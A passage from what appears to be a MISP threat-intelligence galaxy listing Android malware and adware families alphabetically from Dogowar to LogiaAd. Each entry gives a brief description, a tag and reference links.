Dogowar is a Trojan horse on the Android platform that sends SMS texts to all contacts on the device. It is a repackaged version of a game application called Dog Wars, which can be downloaded from a third party market and must be manually installed.

The tag is: misp-galaxy:android="Dogowar"

Table 107. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-081510-4323-99

Domob

Domob is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Domob"

Table 108. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-4235-99

Dougalek

Dougalek is a Trojan horse for Android devices that steals information from the compromised device. The threat is typically disguised to display a video.

The tag is: misp-galaxy:android="Dougalek"

Table 109. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041601-3400-99

Dowgin

Dowgin is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Dowgin"

Table 110. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-033108-4723-99

Droidsheep

Droidsheep is a hacktool for Android devices that hijacks social networking accounts on compromised devices.

The tag is: misp-galaxy:android="Droidsheep"

Table 111. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031014-3628-99

Dropdialer

Dropdialer is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: misp-galaxy:android="Dropdialer"

Table 112. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070909-0726-99

Dupvert

Dupvert is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. It may also perform other malicious activities.

The tag is: misp-galaxy:android="Dupvert"

Table 113. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072313-1959-99

Dynamicit

Dynamicit is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Dynamicit"

Table 114. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-1346-99

Ecardgrabber

Ecardgrabber is an application that attempts to read details from NFC enabled credit cards. It attempts to read information from NFC enabled credit cards that are in close proximity.

The tag is: misp-galaxy:android="Ecardgrabber"

Table 115. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062215-0939-99

Ecobatry

Ecobatry is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: misp-galaxy:android="Ecobatry"

Table 116. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080606-4102-99

Enesoluty

Enesoluty is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: misp-galaxy:android="Enesoluty"

Table 117. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090607-0807-99

Everbadge

Everbadge is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Everbadge"

Table 118. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-3736-99

Ewalls

Ewalls is a Trojan horse for the Android operating system that steals information from the mobile device.

The tag is: misp-galaxy:android="Ewalls"

Table 119. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-073014-0854-99

Exprespam

Exprespam is a Trojan horse for Android devices that displays a fake message and steals personal information stored on the compromised device.

The tag is: misp-galaxy:android="Exprespam"

Table 120. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-010705-2324-99

Fakealbums

Fakealbums is a Trojan horse for Android devices that monitors and forwards received messages from the compromised device.

The tag is: misp-galaxy:android="Fakealbums"

Table 121. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071819-0636-99

Fakeangry

Fakeangry is a Trojan horse on the Android platform that opens a back door, downloads files, and steals potentially confidential information from the compromised device.

The tag is: misp-galaxy:android="Fakeangry"

Table 122. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022823-4233-99

Fakeapp

Fakeapp is a Trojan horse for Android devices that downloads configuration files to display advertisements and collects information from the compromised device.

The tag is: misp-galaxy:android="Fakeapp"

Table 123. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022805-4318-99

Fakebanco

Fakebanco is a Trojan horse for Android devices that redirects users to a phishing page in order to steal their information.

The tag is: misp-galaxy:android="Fakebanco"

Table 124. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-112109-5329-99

Fakebank

Fakebank is a Trojan horse that steals information from the compromised device.

The tag is: misp-galaxy:android="Fakebank"

Table 125. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071813-2448-99

Fakebank.B

Fakebank.B is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Fakebank.B"

Table 126. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-101114-5645-99

Fakebok

Fakebok is a Trojan horse for Android devices that sends SMS messages to premium phone numbers.

The tag is: misp-galaxy:android="Fakebok"

Table 127. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-021115-5153-99

Fakedaum

Fakedaum is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Fakedaum"

Table 128. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061813-3630-99

Fakedefender

Fakedefender is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.

The tag is: misp-galaxy:android="Fakedefender"

Table 129. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060301-4418-99

Fakedefender.B

Fakedefender.B is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.

The tag is: misp-galaxy:android="Fakedefender.B"

Table 130. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091013-3953-99

Fakedown

Fakedown is a Trojan horse for Android devices that downloads more malicious apps onto the compromised device.

The tag is: misp-galaxy:android="Fakedown"

Table 131. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-041803-5918-99

Fakeflash

Fakeflash is a Trojan horse for Android devices that installs a fake Flash application in order to direct users to a website.

The tag is: misp-galaxy:android="Fakeflash"

Table 132. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070318-2122-99

Fakegame

Fakegame is a Trojan horse for Android devices that displays advertisements and steals information from the compromised device.

The tag is: misp-galaxy:android="Fakegame"

Table 133. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040808-2922-99

Fakeguard

Fakeguard is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Fakeguard"

Table 134. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-102908-3526-99

Fakejob

Fakejob is a Trojan horse for Android devices that redirects users to scam websites.

The tag is: misp-galaxy:android="Fakejob"

Table 135. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030721-3048-99

Fakekakao

Fakekakao is a Trojan horse for Android devices sends SMS messages to contacts stored on the compromised device.

The tag is: misp-galaxy:android="Fakekakao"

Table 136. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071617-2031-99

Fakelemon

Fakelemon is a Trojan horse for Android devices that blocks certain SMS messages and may subscribe to services without the user’s consent.

The tag is: misp-galaxy:android="Fakelemon"

Table 137. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-120609-3608-99

Fakelicense

Fakelicense is a Trojan horse that displays advertisements on the compromised device.

The tag is: misp-galaxy:android="Fakelicense"

Table 138. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062709-1437-99

Fakelogin

Fakelogin is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Fakelogin"

Table 139. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-102108-5457-99

FakeLookout

FakeLookout is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.

The tag is: misp-galaxy:android="FakeLookout"

Table 140. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-101919-2128-99

FakeMart

FakeMart is a Trojan horse for Android devices that may send SMS messages to premium rate numbers. It may also block incoming messages and steal information from the compromised device.

The tag is: misp-galaxy:android="FakeMart"

Table 141. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-081217-1428-99

Fakemini

Fakemini is a Trojan horse for Android devices that disguises itself as an installation for the Opera Mini browser and sends premium-rate SMS messages to a predetermined number.

The tag is: misp-galaxy:android="Fakemini"

Table 142. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-110410-5958-99

Fakemrat

Fakemrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Fakemrat"

Table 143. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99

Fakeneflic

Fakeneflic is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Fakeneflic"

Table 144. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-101105-0518-99

Fakenotify

Fakenotify is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers, collects and sends information, and periodically displays Web pages. It also downloads legitimate apps onto the compromised device.

The tag is: misp-galaxy:android="Fakenotify"

Table 145. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011302-3052-99

Fakepatch

Fakepatch is a Trojan horse for Android devices that downloads more files on to the device.

The tag is: misp-galaxy:android="Fakepatch"

Table 146. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062811-2820-99

Fakeplay

Fakeplay is a Trojan horse for Android devices that steals information from the compromised device and sends it to a predetermined email address.

The tag is: misp-galaxy:android="Fakeplay"

Table 147. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-100917-3825-99

Fakescarav

Fakescarav is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to pay in order to remove non-existent malware or security risks from the device.

The tag is: misp-galaxy:android="Fakescarav"

Table 148. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-012809-1901-99

Fakesecsuit

Fakesecsuit is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Fakesecsuit"

Table 149. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-060514-1301-99

Fakesucon

Fakesucon is a Trojan horse program for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: misp-galaxy:android="Fakesucon"

Table 150. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-120915-2524-99

Faketaobao

Faketaobao is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Faketaobao"

Table 151. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062518-4057-99

Faketaobao.B

Faketaobao.B is a Trojan horse for Android devices that intercepts and and sends incoming SMS messages to a remote attacker.

The tag is: misp-galaxy:android="Faketaobao.B"

Table 152. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-012106-4013-99

Faketoken

Faketoken is a Trojan horse that opens a back door on the compromised device.

The tag is: misp-galaxy:android="Faketoken"

Table 153. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-032211-2048-99
http://bgr.com/2017/08/18/android-malware-faketoken-steal-credit-card-info/

Fakeupdate

Fakeupdate is a Trojan horse for Android devices that downloads other applications onto the compromised device.

The tag is: misp-galaxy:android="Fakeupdate"

Table 154. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-081914-5637-99

Fakevoice

Fakevoice is a Trojan horse for Android devices that dials a premium-rate phone number.

The tag is: misp-galaxy:android="Fakevoice"

Table 155. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040510-3249-99

Farmbaby

Farmbaby is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.

The tag is: misp-galaxy:android="Farmbaby"

Table 156. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090715-3641-99

Fauxtocopy

Fauxtocopy is a spyware application for Android devices that gathers photos from the device and sends them to a predetermined email address.

The tag is: misp-galaxy:android="Fauxtocopy"

Table 157. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111515-3940-99

Feiwo

Feiwo is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Feiwo"

Table 158. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-4038-99

FindAndCall

FindAndCall is a Potentially Unwanted Application for Android devices that may leak information.

The tag is: misp-galaxy:android="FindAndCall"

Table 159. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-2906-99

Finfish

Finfish is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Finfish"

Table 160. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-083016-0032-99

Fireleaker

Fireleaker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Fireleaker"

Table 161. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-5207-99

Fitikser

Fitikser is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Fitikser"

Table 162. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-093015-2830-99

Flexispy

Flexispy is a Spyware application for Android devices that logs the device’s activity and sends it to a predetermined website.

The tag is: misp-galaxy:android="Flexispy"

Table 163. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-122006-4805-99

Fokonge

Fokonge is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Fokonge"

Table 164. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071802-0727-99

FoncySMS

FoncySMS is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers. It may also connect to an IRC server and execute any received shell commands.

The tag is: misp-galaxy:android="FoncySMS"

Table 165. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011502-2651-99

Frogonal

Frogonal is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Frogonal"

Table 166. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062205-2312-99

Ftad

Ftad is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Ftad"

Table 167. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040114-2020-99

Funtasy

Funtasy is a Trojan horse for Android devices that subscribes the user to premium SMS services.

The tag is: misp-galaxy:android="Funtasy"

Table 168. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-092519-5811-99

GallMe

GallMe is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="GallMe"

Table 169. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1336-99

Gamex

Gamex is a Trojan horse for Android devices that downloads further threats.

The tag is: misp-galaxy:android="Gamex"

Table 170. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051015-1808-99

Gappusin

Gappusin is a Trojan horse for Android devices that downloads applications and disguises them as system updates.

The tag is: misp-galaxy:android="Gappusin"

Table 171. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022007-2013-99

Gazon

Gazon is a worm for Android devices that spreads through SMS messages.

The tag is: misp-galaxy:android="Gazon"

Table 172. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-030320-1436-99

Geinimi

Geinimi is a Trojan that opens a back door and transmits information from the device to a remote location.

The tag is: misp-galaxy:android="Geinimi"

Table 173. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-010111-5403-99

Generisk

Generisk is a generic detection for Android applications that may pose a privacy, security, or stability risk to the user or user’s Android device.

The tag is: misp-galaxy:android="Generisk"

Table 174. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-062622-1559-99

Genheur

Genheur is a generic detection for many individual but varied Trojans for Android devices for which specific definitions have not been created. A generic detection is used because it protects against many Trojans that share similar characteristics.

The tag is: misp-galaxy:android="Genheur"

Table 175. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-0848-99

Genpush

Genpush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Genpush"

Table 176. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-033109-0426-99

GeoFake

GeoFake is a Trojan horse for Android devices that sends SMS messages to premium-rate numbers.

The tag is: misp-galaxy:android="GeoFake"

Table 177. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040217-3232-99

Geplook

Geplook is a Trojan horse for Android devices that downloads additional apps onto the compromised device.

The tag is: misp-galaxy:android="Geplook"

Table 178. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121814-0917-99

Getadpush

Getadpush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Getadpush"

Table 179. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-0957-99

Ggtracker

Ggtracker is a Trojan horse for Android devices that sends SMS messages to a premium-rate number. It may also steal information from the device.

The tag is: misp-galaxy:android="Ggtracker"

Table 180. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-062208-5013-99

Ghostpush

Ghostpush is a Trojan horse for Android devices that roots the compromised device. It may then perform malicious activities on the compromised device.

The tag is: misp-galaxy:android="Ghostpush"

Table 181. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-100215-3718-99

Gmaster

Gmaster is a Trojan horse on the Android platform that steals potentially confidential information from the compromised device.

The tag is: misp-galaxy:android="Gmaster"

Table 182. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-082404-5049-99

Godwon

Godwon is a Trojan horse for Android devices that steals information.

The tag is: misp-galaxy:android="Godwon"

Table 183. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091017-1833-99

Golddream

Golddream is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Golddream"

Table 184. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-070608-4139-99

Goldeneagle

Goldeneagle is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Goldeneagle"

Table 185. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-090110-3712-99

Golocker

Golocker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Golocker"

Table 186. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062003-3214-99

Gomal

Gomal is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Gomal"

Table 187. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101312-1047-99

Gonesixty

Gonesixty is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Gonesixty"

Table 188. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-093001-2649-99

Gonfu

Gonfu is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Gonfu"

Table 189. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060610-3953-99

Gonfu.B

Gonfu.B is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Gonfu.B"

Table 190. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-030811-5215-99

Gonfu.C

Gonfu.C is a Trojan horse for Android devices that may download additional threats on the compromised device.

The tag is: misp-galaxy:android="Gonfu.C"

Table 191. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031817-3639-99

Gonfu.D

Gonfu.D is a Trojan horse that opens a back door on Android devices.

The tag is: misp-galaxy:android="Gonfu.D"

Table 192. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040414-1158-99

Gooboot

Gooboot is a Trojan horse for Android devices that may send text messages to premium rate numbers.

The tag is: misp-galaxy:android="Gooboot"

Table 193. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031818-3034-99

Goodadpush

Goodadpush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Goodadpush"

Table 194. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0913-99

Greystripe

Greystripe is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Greystripe"

Table 195. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-2643-99

Gugespy

Gugespy is a spyware program for Android devices that logs the device’s activity and sends it to a predetermined email address.

The tag is: misp-galaxy:android="Gugespy"

Table 196. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071822-2515-99

Gugespy.B

Gugespy.B is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: misp-galaxy:android="Gugespy.B"

Table 197. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-070511-5038-99

Gupno

Gupno is a Trojan horse for Android devices that poses as a legitimate app and attempts to charge users for features that are normally free. It may also display advertisements on the compromised device.

The tag is: misp-galaxy:android="Gupno"

Table 198. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-072211-5533-99

Habey

Habey is a Trojan horse for Android devices that may attempt to delete files and send SMS messages from the compromised device.

The tag is: misp-galaxy:android="Habey"

Table 199. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-100608-4512-99

Handyclient

Handyclient is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Handyclient"

Table 200. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5027-99

Hehe

Hehe is a Trojan horse for Android devices that blocks incoming calls and SMS messages from specific numbers. The Trojan also steals information from the compromised device.

The tag is: misp-galaxy:android="Hehe"

Table 201. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-012211-0020-99

Hesperbot

Hesperbot is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information.

The tag is: misp-galaxy:android="Hesperbot"

Table 202. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121010-1120-99

Hippo

Hippo is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: misp-galaxy:android="Hippo"

Table 203. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071215-3547-99

Hippo.B

Hippo.B is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: misp-galaxy:android="Hippo.B"

Table 204. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031915-0151-99

IadPush

IadPush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="IadPush"

Table 205. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4104-99

iBanking

iBanking is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information.

The tag is: misp-galaxy:android="iBanking"

Table 206. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030713-0559-99

Iconosis

Iconosis is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Iconosis"

Table 207. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062107-3327-99

Iconosys

Iconosys is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Iconosys"

Table 208. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081309-0341-99

Igexin

Igexin is an advertisement library that is bundled with certain Android applications. Igexin has the capability of spying on victims through otherwise benign apps by downloading malicious plugins,

The tag is: misp-galaxy:android="Igexin"

Igexin is also known as:

IcicleGum

Igexin has relationships with:

similar: misp-galaxy:android="IcicleGum" with estimative-language:likelihood-probability="likely"

Table 209. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032606-5519-99
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf
https://blog.lookout.com/igexin-malicious-sdk

ImAdPush

ImAdPush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="ImAdPush"

Table 210. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040323-0218-99

InMobi

InMobi is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="InMobi"

Table 211. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-1527-99

Jifake

Jifake is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: misp-galaxy:android="Jifake"

Table 212. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-073021-4247-99

Jollyserv

Jollyserv is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.

The tag is: misp-galaxy:android="Jollyserv"

Table 213. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-090311-4533-99

Jsmshider

Jsmshider is a Trojan horse that opens a back door on Android devices.

The tag is: misp-galaxy:android="Jsmshider"

Table 214. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-062114-0857-99

Ju6

Ju6 is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Ju6"

Table 215. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2428-99

Jumptap

Jumptap is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Jumptap"

Table 216. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0859-99

Jzmob

Jzmob is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Jzmob"

Table 217. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-1703-99

Kabstamper

Kabstamper is a Trojan horse for Android devices that corrupts images found on the compromised device.

The tag is: misp-galaxy:android="Kabstamper"

Table 218. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-060706-2305-99

Kidlogger

Kidlogger is a Spyware application for Android devices that logs the device’s activity and sends it to a predetermined website.

The tag is: misp-galaxy:android="Kidlogger"

Table 219. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-122014-1927-99

Kielog

Kielog is a Trojan horse for Android devices that logs keystrokes and sends the stolen information to the remote attacker.

The tag is: misp-galaxy:android="Kielog"

Table 220. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040205-4035-99

Kituri

Kituri is a Trojan horse for Android devices that blocks certain SMS messages from being received by the device. It may also send SMS messages to a premium-rate number.

The tag is: misp-galaxy:android="Kituri"

Table 221. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061111-5350-99

Kranxpay

Kranxpay is a Trojan horse for Android devices that downloads other apps onto the device.

The tag is: misp-galaxy:android="Kranxpay"

Table 222. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071009-0809-99

Krysanec

Krysanec is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: misp-galaxy:android="Krysanec"

Table 223. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-090113-4128-99

Kuaidian360

Kuaidian360 is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Kuaidian360"

Table 224. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040109-2415-99

Kuguo

Kuguo is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Kuguo"

Table 225. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-5215-99

Lastacloud

Lastacloud is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Lastacloud"

Table 226. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121216-4334-99

Laucassspy

Laucassspy is a spyware program for Android devices that steals information and sends it to a remote location.

The tag is: misp-galaxy:android="Laucassspy"

Table 227. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-092409-1822-99

Lifemonspy

Lifemonspy is a spyware application for Android devices that can track the phone’s location, download SMS messages, and erase certain data from the device.

The tag is: misp-galaxy:android="Lifemonspy"

Table 228. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-5540-99

Lightdd

Lightdd is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Lightdd"

Table 229. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-053114-2342-99

Loaderpush

Loaderpush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Loaderpush"

Table 230. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0244-99

Locaspy

Locaspy is a Potentially Unwanted Application for Android devices that tracks the location of the compromised device.

The tag is: misp-galaxy:android="Locaspy"

Table 231. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030720-3500-99

Lockdroid.E

Lockdroid.E is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: misp-galaxy:android="Lockdroid.E"

Table 232. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-103005-2209-99

Lockdroid.F

Lockdroid.F is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: misp-galaxy:android="Lockdroid.F"

Table 233. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-102215-4346-99

Lockdroid.G

Lockdroid.G is a Trojan horse for Android devices that may display a ransom demand on the compromised device.

The tag is: misp-galaxy:android="Lockdroid.G"

Table 234. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-050610-2450-99

Lockdroid.H

Lockdroid.H is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: misp-galaxy:android="Lockdroid.H"

Table 235. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2016-031621-1349-99

Lockscreen

Lockscreen is a Trojan horse for Android devices that locks the compromised device from use.

The tag is: misp-galaxy:android="Lockscreen"

Table 236. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032409-0743-99

LogiaAd

LogiaAd is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="LogiaAd"

Table 237. Table References
Links
